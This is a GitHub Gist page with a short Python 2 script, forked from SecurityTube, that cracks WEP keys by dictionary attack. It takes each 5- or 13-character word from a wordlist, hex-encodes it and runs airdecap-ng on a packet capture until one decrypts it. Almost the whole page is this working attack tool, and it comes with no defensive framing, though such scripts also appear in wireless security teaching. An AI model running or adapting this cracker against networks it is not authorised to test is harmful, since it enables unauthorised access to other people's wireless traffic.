Forked from securitytube/airdecap-wep-word-list-cracker.py
Created
November 25, 2013 23:47
-
-
Save spnow/7650963 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python | |
| # Author - Vivek Ramachandran vivek@securitytube.net | |
| # | |
| import sys, binascii, re | |
| from subprocess import Popen, PIPE | |
| f = open(sys.argv[1], 'r') | |
| for line in f: | |
| wepKey = re.sub(r'\W+', '', line) | |
| if not (len(wepKey) == 5 or len(wepKey) == 13) : | |
| continue | |
| hexKey = binascii.hexlify(wepKey) | |
| print "Trying with WEP Key: " +wepKey + " Hex: " + hexKey | |
| p = Popen(['/usr/local/bin/airdecap-ng', '-w', hexKey, sys.argv[2]], stdout=PIPE) | |
| output = p.stdout.read() | |
| finalResult = output.split('\n')[4] | |
| if finalResult.find('1') != -1 : | |
| print "Success WEP Key Found: " + wepKey | |
| sys.exit(0) | |
| print "Failure! WEP Key Could not be Found with the existing dictionary!" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment